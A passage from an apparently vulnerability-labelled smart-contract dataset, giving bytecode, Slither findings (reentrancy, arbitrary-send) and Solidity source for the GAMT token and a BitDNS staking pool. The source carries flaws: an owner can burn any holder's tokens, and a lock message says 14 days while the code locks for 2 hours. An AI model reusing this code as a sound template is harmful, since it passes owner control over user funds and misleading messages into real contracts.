080fd5b823561157e8161154b565b946020939093013593505050565b6000806000606084860312156115a157600080fd5b83356115ac8161154b565b925060208401356115bc8161154b565b929592945050506040919091013590565b6000602082840312156115df57600080fd5b5035919050565b6000602082840312156115f857600080fd5b8135610bb48161154b565b6000806040838503121561161657600080fd5b82356116218161154b565b915060208301356116318161154b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561168357600080fd5b8151610bb48161154b565b6000602082840312156116a057600080fd5b81518015158114610bb457600080fd5b600082516116c28184602087016114e8565b9190910192915050565b6000806000606084860312156116e157600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008219821115611723576117236116fa565b500190565b60008282101561173a5761173a6116fa565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117a55784516001600160a01b031683529383019391830191600101611780565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826117e357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611802576118026116fa565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d67a65a35a051c0f1d85fbfc2b6df5841bb2fda8c9094e60c4fb373b1846fd1764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,719 |
0xcd1e5e8d4d202bf46c1e560e589fd690ffcdf60d
|
pragma solidity ^0.4.24;
/**
* @title ERC20Interface
* @dev Standard version of ERC20 interface
*/
contract ERC20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner`
* of the contract to the sender account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the current owner
*/
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner
* @param newOwner The address to transfer ownership to
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title GAMT
* @dev Implemantation of the GAMT token
*/
contract GAMT is Ownable, ERC20Interface {
using SafeMath for uint256;
string public constant symbol = "GAMT";
string public constant name = "GAMT";
uint8 public constant decimals = 18;
uint256 private _unmintedTokens = 300000000 * uint(10) ** decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed _address, uint256 _value);
event Mint(address indexed _address, uint256 _value);
/**
* @dev Gets the balance of the specified address
* @param _owner The address to query the the balance of
* @return An uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer token to a specified address
* @param _to The address to transfer to
* @param _value The amount to be transferred
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
assert(balances[_to] + _value >= balances[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from The address which you want to send tokens from
* @param _to The address which you want to transfer to
* @param _value The amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
assert(balances[_to] + _value >= balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub( _value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender
* @param _spender The address which will spend the funds
* @param _value The amount of tokens to be spent
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender
* @param _owner The address which owns the funds
* @param _spender The address which will spend the funds
* @return A uint specifing the amount of tokens still avaible for the spender
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Mint GAMT tokens. No more than 300,000,000 GAMT can be minted
* @param _account The address to which new tokens will be minted
* @param _mintedAmount The amout of tokens to be minted
*/
function mintTokens(address _account, uint256 _mintedAmount) public onlyOwner returns (bool success){
require(_mintedAmount <= _unmintedTokens);
balances[_account] = balances[_account].add(_mintedAmount);
_unmintedTokens = _unmintedTokens.sub(_mintedAmount);
totalSupply = totalSupply.add(_mintedAmount);
emit Mint(_account, _mintedAmount);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0.
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0.
* Emits an Approval event.
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Mint GAMT tokens and aproves the passed address to spend the minted amount of tokens
* No more than 300,000,000 GAMT can be minted
* @param _target The address to which new tokens will be minted
* @param _mintedAmount The amout of tokens to be minted
* @param _spender The address which will spend minted funds
*/
function mintTokensWithApproval(address _target, uint256 _mintedAmount, address _spender) public onlyOwner returns (bool success){
require(_mintedAmount <= _unmintedTokens);
balances[_target] = balances[_target].add(_mintedAmount);
_unmintedTokens = _unmintedTokens.sub(_mintedAmount);
totalSupply = totalSupply.add(_mintedAmount);
allowed[_target][_spender] = allowed[_target][_spender].add(_mintedAmount);
emit Mint(_target, _mintedAmount);
return true;
}
/**
* @dev Decrease amount of GAMT tokens that can be minted
* @param _burnedAmount The amount of unminted tokens to be burned
*/
function burnUnmintedTokens(uint256 _burnedAmount) public onlyOwner returns (bool success){
require(_burnedAmount <= _unmintedTokens);
_unmintedTokens = _unmintedTokens.sub(_burnedAmount);
emit Burn(msg.sender, _burnedAmount);
return true;
}
/**
* @dev Function that burns an amount of the token of a given
* account.
* @param _account The account whose tokens will be burnt.
* @param _value The amount that will be burnt.
*/
function burn(address _account, uint256 _value) onlyOwner public {
require(_account != address(0));
totalSupply = totalSupply.sub(_value);
balances[_account] = balances[_account].sub(_value);
emit Burn(_account, _value);
}
/**
* @dev Function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param _account The account whose tokens will be burnt.
* @param _value The amount that will be burnt.
*/
function burnFrom(address _account, uint256 _value) onlyOwner public {
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_value);
burn(_account, _value);
emit Burn(_account, _value);
}
/**
* @dev Returns the number of unminted token
*/
function unmintedTokens() onlyOwner view public returns (uint256 tokens){
return _unmintedTokens;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
}
|
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cd57806323b872dd146101f4578063313ce5671461021e578063395093511461024957806370a082311461026d57806379cc67901461028e5780638da5cb5b146102b457806391fe7bab146102e557806395d89b411461010b5780639dc29fac14610310578063a457c2d714610334578063a9059cbb14610358578063dc8855271461037c578063dd62ed3e14610394578063e21827a1146103bb578063f0dda65c146103d0578063f2fde38b146103f4575b600080fd5b34801561011757600080fd5b50610120610415565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015a578181015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a157600080fd5b506101b9600160a060020a036004351660243561044c565b604080519115158252519081900360200190f35b3480156101d957600080fd5b506101e26104b2565b60408051918252519081900360200190f35b34801561020057600080fd5b506101b9600160a060020a03600435811690602435166044356104b8565b34801561022a57600080fd5b50610233610655565b6040805160ff9092168252519081900360200190f35b34801561025557600080fd5b506101b9600160a060020a036004351660243561065a565b34801561027957600080fd5b506101e2600160a060020a036004351661070a565b34801561029a57600080fd5b506102b2600160a060020a0360043516602435610725565b005b3480156102c057600080fd5b506102c96107e1565b60408051600160a060020a039092168252519081900360200190f35b3480156102f157600080fd5b506101b9600160a060020a0360043581169060243590604435166107f0565b34801561031c57600080fd5b506102b2600160a060020a0360043516602435610922565b34801561034057600080fd5b506101b9600160a060020a03600435166024356109e3565b34801561036457600080fd5b506101b9600160a060020a0360043516602435610a2e565b34801561038857600080fd5b506101b9600435610b35565b3480156103a057600080fd5b506101e2600160a060020a0360043581169060243516610bb0565b3480156103c757600080fd5b506101e2610bdb565b3480156103dc57600080fd5b506101b9600160a060020a0360043516602435610bfa565b34801561040057600080fd5b506102b2600160a060020a0360043516610cd7565b60408051808201909152600481527f47414d5400000000000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015481565b6000600160a060020a03831615156104cf57600080fd5b600160a060020a0384166000908152600360205260409020548211156104f457600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205482111561052457600080fd5b600160a060020a038316600090815260036020526040902054828101101561054857fe5b600160a060020a038416600090815260036020526040902054610571908363ffffffff610d3216565b600160a060020a0380861660009081526003602052604080822093909355908516815220546105a6908363ffffffff610d4616565b600160a060020a0380851660009081526003602090815260408083209490945591871681526004825282812033825290915220546105ea908363ffffffff610d3216565b600160a060020a03808616600081815260046020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b6000600160a060020a038316151561067157600080fd5b336000908152600460209081526040808320600160a060020a03871684529091529020546106a5908363ffffffff610d4616565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a031660009081526003602052604090205490565b600054600160a060020a0316331461073c57600080fd5b600160a060020a0382166000908152600460209081526040808320338452909152902054610770908263ffffffff610d3216565b600160a060020a038316600090815260046020908152604080832033845290915290205561079e8282610922565b604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600054600160a060020a031681565b60008054600160a060020a0316331461080857600080fd5b60025483111561081757600080fd5b600160a060020a038416600090815260036020526040902054610840908463ffffffff610d4616565b600160a060020a03851660009081526003602052604090205560025461086c908463ffffffff610d3216565b600255600154610882908463ffffffff610d4616565b600155600160a060020a038085166000908152600460209081526040808320938616835292905220546108bb908463ffffffff610d4616565b600160a060020a038086166000818152600460209081526040808320948816835293815290839020939093558151868152915190927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885928290030190a25060019392505050565b600054600160a060020a0316331461093957600080fd5b600160a060020a038216151561094e57600080fd5b600154610961908263ffffffff610d3216565b600155600160a060020a03821660009081526003602052604090205461098d908263ffffffff610d3216565b600160a060020a038316600081815260036020908152604091829020939093558051848152905191927fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca592918290030190a25050565b6000600160a060020a03831615156109fa57600080fd5b336000908152600460209081526040808320600160a060020a03871684529091529020546106a5908363ffffffff610d3216565b6000600160a060020a0383161515610a4557600080fd5b33600090815260036020526040902054821115610a6157600080fd5b600160a060020a0383166000908152600360205260409020548281011015610a8557fe5b33600090815260036020526040902054610aa5908363ffffffff610d3216565b3360009081526003602052604080822092909255600160a060020a03851681522054610ad7908363ffffffff610d4616565b600160a060020a0384166000818152600360209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008054600160a060020a03163314610b4d57600080fd5b600254821115610b5c57600080fd5b600254610b6f908363ffffffff610d3216565b60025560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b60008054600160a060020a03163314610bf357600080fd5b5060025490565b60008054600160a060020a03163314610c1257600080fd5b600254821115610c2157600080fd5b600160a060020a038316600090815260036020526040902054610c4a908363ffffffff610d4616565b600160a060020a038416600090815260036020526040902055600254610c76908363ffffffff610d3216565b600255600154610c8c908363ffffffff610d4616565b600155604080518381529051600160a060020a038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b600054600160a060020a03163314610cee57600080fd5b600160a060020a0381161515610d0357600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008083831115610d3f57fe5b5050900390565b600082820183811015610d5557fe5b93925050505600a165627a7a723058209a079d5901f337f140f7e3607d5dfcd2145e3a33c2b5238e3348979400e061460029
|
{"success": true, "error": null, "results": {}}
| 3,720 |
0xf1a08BF7d149a3c6f6Fe9C2511F0025Ded57fA8A
|
// Created By BitDNS.vip
// contact : Reward Pool
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.8;
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IMinableERC20 is IERC20 {
function mint(address account, uint amount) public;
}
contract RewardLockPool {
using SafeMath for uint256;
using Address for address;
using SafeERC20 for IERC20;
using SafeERC20 for IMinableERC20;
IERC20 public stakeToken;
IMinableERC20 public rewardToken;
bool public started;
uint256 public totalSupply;
uint256 public rewardFinishTime = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public lockTimeOf;
address private governance;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT);
event Withdrawn(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT);
event RewardPaid(address indexed user, uint256 reward, uint256 beforeT, uint256 afterT);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
modifier onlyOwner() {
require(msg.sender == governance, "!governance");
_;
}
constructor () public {
governance = msg.sender;
}
function start(address stake_token, address reward_token, uint256 reward, uint256 duration) public onlyOwner {
require(!started, "already started");
require(stake_token != address(0) && stake_token.isContract(), "stake token is non-contract");
require(reward_token != address(0) && reward_token.isContract(), "reward token is non-contract");
started = true;
stakeToken = IERC20(stake_token);
rewardToken = IMinableERC20(reward_token);
rewardRate = reward.mul(1e18).div(duration);
lastUpdateTime = block.timestamp;
rewardFinishTime = block.timestamp.add(duration);
}
function lastTimeRewardApplicable() internal view returns (uint256) {
return block.timestamp < rewardFinishTime ? block.timestamp : rewardFinishTime;
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf[account]
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) {
require(started, "Not start yet");
require(amount > 0, "Cannot stake 0");
require(stakeToken.balanceOf(msg.sender) >= amount, "insufficient balance to stake");
uint256 beforeT = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
totalSupply = totalSupply.add(amount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(amount);
uint256 afterT = stakeToken.balanceOf(address(this));
// Add Lock Time Begin:
lockTimeOf[msg.sender] = block.timestamp.add(2 hours);
// Add Lock Time End!!!
emit Staked(msg.sender, amount, beforeT, afterT);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(started, "Not start yet");
require(amount > 0, "Cannot withdraw 0");
require(balanceOf[msg.sender] >= amount, "Insufficient balance to withdraw");
// Add Lock Time Begin:
require(canWithdraw(), "Must be locked for 14 days or Mining ended");
// Add Lock Time End!!!
uint256 beforeT = stakeToken.balanceOf(address(this));
totalSupply = totalSupply.sub(amount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
stakeToken.safeTransfer(msg.sender, amount);
uint256 afterT = stakeToken.balanceOf(address(this));
emit Withdrawn(msg.sender, amount, beforeT, afterT);
}
function exit() external {
require(started, "Not start yet");
withdraw(balanceOf[msg.sender]);
getReward();
}
function getReward() public updateReward(msg.sender) {
require(started, "Not start yet");
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
uint256 beforeT = rewardToken.balanceOf(address(this));
rewardToken.mint(msg.sender, reward);
//rewardToken.safeTransfer(msg.sender, reward);
uint256 afterT = rewardToken.balanceOf(address(this));
emit RewardPaid(msg.sender, reward, beforeT, afterT);
}
}
// Add Lock Time Begin:
function canWithdraw() public view returns (bool) {
return started && (balanceOf[msg.sender] > 0) &&
(block.timestamp >= lockTimeOf[msg.sender] || block.timestamp >= rewardFinishTime);
}
// Add Lock Time End!!!
}
|
0x608060405234801561001057600080fd5b506004361061012b5760003560e01c806370a08231116100ad578063c8f33c9111610071578063c8f33c91146104ae578063cd3daf9d146104cc578063df136d65146104ea578063e9fad8ee14610508578063f7c618c1146105125761012b565b806370a08231146103905780637b0a47ee146103e85780638b87634714610406578063a694fc3a1461045e578063b51459fe1461048c5761012b565b80632a7d61b7116100f45780632a7d61b7146102985780632e1a7d4d146102f05780633d18b9121461031e57806351ed6a30146103285780636b419bf7146103725761012b565b80628cc262146101305780630700037d146101885780630f4c5fac146101e057806318160ddd146102585780631f2698ab14610276575b600080fd5b6101726004803603602081101561014657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061055c565b6040518082815260200191505060405180910390f35b6101ca6004803603602081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061067a565b6040518082815260200191505060405180910390f35b610256600480360360808110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610692565b005b610260610a60565b6040518082815260200191505060405180910390f35b61027e610a66565b604051808215151515815260200191505060405180910390f35b6102da600480360360208110156102ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a79565b6040518082815260200191505060405180910390f35b61031c6004803603602081101561030657600080fd5b8101908080359060200190929190505050610a91565b005b610326611099565b005b61033061153c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61037a611561565b6040518082815260200191505060405180910390f35b6103d2600480360360208110156103a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611567565b6040518082815260200191505060405180910390f35b6103f061157f565b6040518082815260200191505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611585565b6040518082815260200191505060405180910390f35b61048a6004803603602081101561047457600080fd5b810190808035906020019092919050505061159d565b005b610494611c3b565b604051808215151515815260200191505060405180910390f35b6104b6611cf5565b6040518082815260200191505060405180910390f35b6104d4611cfb565b6040518082815260200191505060405180910390f35b6104f2611d89565b6040518082815260200191505060405180910390f35b610510611d8f565b005b61051a611e63565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000610673600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610665670de0b6b3a7640000610657610609600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105fb611cfb565b611e8990919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed390919063ffffffff16565b611f5990919063ffffffff16565b611fa390919063ffffffff16565b9050919050565b60086020528060005260406000206000915090505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffff